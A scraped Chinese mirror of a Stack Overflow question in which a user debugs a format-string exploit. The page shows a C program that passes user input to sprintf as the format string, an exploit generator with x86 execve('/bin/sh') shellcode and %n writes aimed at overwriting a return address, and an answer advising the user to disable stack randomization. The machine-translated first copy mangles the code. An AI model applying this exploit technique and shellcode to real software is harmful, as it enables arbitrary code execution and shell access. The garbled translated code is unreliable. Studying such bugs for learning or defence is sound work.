格式化字符串错误 - 开发 [英] Format string bugs - exploitation

查看:151
本文介绍了格式化字符串错误 - 开发的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

  #include< sys / types.h> 
#include< sys / uio.h>
#include< unistd.h>
#include< stdio.h>
#include< string.h>

void foo(char * tmp,char * format){
/ *写入tmp格式参数指定的字符串* /
sprintf(tmp,format);

/ *只打印tmp缓冲区* /
printf(%s,tmp);
}

int main(int argc,char ** argv){
char tmp [512];
char格式[512];

while(1){
/ *使用常量字节填充内存* /
memset(format,'\0',512);

/ *最多读512字节到格式* /
读(0,格式,512);

/ *比较两个字符串* /
if(!strncmp(format,exit,4))
break;

foo(tmp,format);
}
return 0;
}

堆栈看起来像这样:

 低内存地址

之前的printf之前sprintf
功能函数

------- ----------------
| 0xbffff258 | -
----------------------- ---------------------- - | --- printf / sprintf
|的参数0xbffff258 | | 0xbffff058 | -
----------------------- ---------------------- -
| 0xbffff458 | (保存的EBP)
-----------------------
| 0x08048528 | (返回地址到主 - EIP)
-----------------------
| 0xbffff258 | (指向tmp的指针)
-----------------------
| 0xbffff058 | (指向格式)
-----------------------
| 0x00000004 | (常数4)
-----------------------
|格式[0] | (从0xbffff058开始)
-----------------------
|格式[511] |
-----------------------
| tmp [0] | (从0xbffff258开始)
-----------------------
| tmp [511] |
-----------------------
高内存地址

所以基本思想是写一个序列%x,%n,...并将其提供给程序。我用来构建输入字符串的程序是:

  #include< sys / types.h> 
#include< sys / uio.h>
#include< unistd.h>
#include< stdio.h>
#include< unistd.h>
#include< string.h>


char shellcode [] =
\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\\ \\x1e\x89\x5e\x08\x89\x46
\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d \x56\x0c\xcd\x80\xe8\xe1
\xff\xff\xff\x2f\x62\x69\x6e\x2f\ x73\x68;


main()
{
char b0 [255];
char b1 [255];
char b2 [255];
char b3 [255];
char b4 [1024];
char buffer [512];

memset(b0,0,255);
memset(b1,0,255);
memset(b2,0,255);
memset(b3,0,255);
memset(b4,'A',1024);

memset(b0,'A',0x68 - 0x10 - 0x28); // 0x10因为四个地址; 0x28因为shellcode
memset(b1,'A',0xf0 - 0x68);
memset(b2,'A',0xff - 0xf0);
memset(b3,'A',0x1bf - 0xff);

printf(\x48\xf0\xff\xbf
\x49\xf0\xff\xbf
\x4a \xf0\xff\xbf
\x4b\xf0\xff\xbf
%s
%s
% %6 $ n
%s
%% 7 $ n
%s
%% 8 $ n
%s
%% 9 $ n
,shellcode,b0,b1,b2,b3);
}

我们可以看到我覆盖了地址:0xbffff048,0xbffff049,0xbffff04a 0xbffff04b,带有以下十六进制:0x68,0xf0,0xff,0x1bf,它给我们地址:0xbffff068(这是内存中shellcode的地址)。所以这个想法是用这个地址覆盖0x08048528(EIP),所以当函数返回时,它将跳转到该地址。



我已经完成了所有这些,并使用调试器检查这一切都很好。但是我仍然从/lib/libc.so.6中获取vfprintf()中的分段错误。



有人有任何想法发生了什么。我有什么东西吗?



谢谢

解决方案

Full Rewrite


  1. 好的,所以你的堆栈是可执行的。

  2. 您应该尝试禁用堆栈地址随机化。

  3. 这似乎是x86,但是这种信息应该被添加到该问题中。


I'm trying to exploit my format string bug, which lies in this program:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void foo(char* tmp, char* format) {
  /* write into tmp a string formated as the format argument specifies */
  sprintf(tmp, format);

  /* just print the tmp buffer */
  printf("%s", tmp);
}

int main(int argc, char** argv) {
  char tmp[512];
  char format[512];

  while(1) {
    /* fill memory with constant byte */
    memset(format, '\0', 512);

    /* read at most 512 bytes into format */
    read(0, format, 512);

    /* compare two strings */
    if (!strncmp(format, "exit", 4))
      break;

    foo(tmp, format);
  }
  return 0;
}

The stack looks like this:

Low Memory Addresses

   before printf             before sprintf
     function                   function

                         ----------------------- 
                         |     0xbffff258      | -
-----------------------  ----------------------- |--- arguments to printf/sprintf
|     0xbffff258      |  |     0xbffff058      | -
-----------------------  ----------------------- 
|     0xbffff458      |  (saved EBP)
-----------------------
|     0x08048528      |  (return address to main - EIP)
-----------------------
|     0xbffff258      |  (pointer to tmp)
----------------------- 
|     0xbffff058      |  (pointer to format)
-----------------------
|     0x00000004      |  (constant 4)
-----------------------
|      format[0]      |  (starts at 0xbffff058)
-----------------------
|     format[511]     |
-----------------------
|       tmp[0]        |  (starts at 0xbffff258)
-----------------------
|      tmp[511]       |
-----------------------
High Memory Addresses

so the basic idea is to write a sequence of %x, %n, ... and feed it to the program. The program I'm using to build up the input string is:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


main()
{
  char b0[255];
  char b1[255];
  char b2[255];
  char b3[255];
  char b4[1024];
  char buffer[512];

  memset(b0, 0, 255);
  memset(b1, 0, 255);
  memset(b2, 0, 255);
  memset(b3, 0, 255);
  memset(b4, 'A', 1024);

  memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
  memset(b1, 'A', 0xf0 - 0x68);
  memset(b2, 'A', 0xff - 0xf0);
  memset(b3, 'A', 0x1bf - 0xff);

  printf("\x48\xf0\xff\xbf" 
         "\x49\xf0\xff\xbf" 
         "\x4a\xf0\xff\xbf" 
         "\x4b\xf0\xff\xbf" 
         "%s" 
         "%s" 
         "%%6$n" 
         "%s" 
         "%%7$n"
         "%s" 
         "%%8$n" 
         "%s"
         "%%9$n" 
         ,shellcode, b0, b1, b2, b3);
}

we can see that I've overwritting the addresses: 0xbffff048, 0xbffff049, 0xbffff04a, 0xbffff04b, with the following hexadecimals: 0x68, 0xf0, 0xff, 0x1bf, which gives us the address: 0xbffff068 (which is the address of the shellcode in memory). So the idea is to overwrite the 0x08048528 (EIP) with this address, so when function returns it would jump to that address.

I've done all this and checked with debugger that this is all fine. But I still get the segmentation fault in vfprintf () from /lib/libc.so.6.

Do anybody have any idea what's going on. Did I screw something up?

Thanks

解决方案

Full Rewrite

  1. Ok, so you're stack is executable. Good.
  2. You should try disabling stack address randomization.
  3. This appears to be x86, but that sort of information should be added to the question.

这篇关于格式化字符串错误 - 开发的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆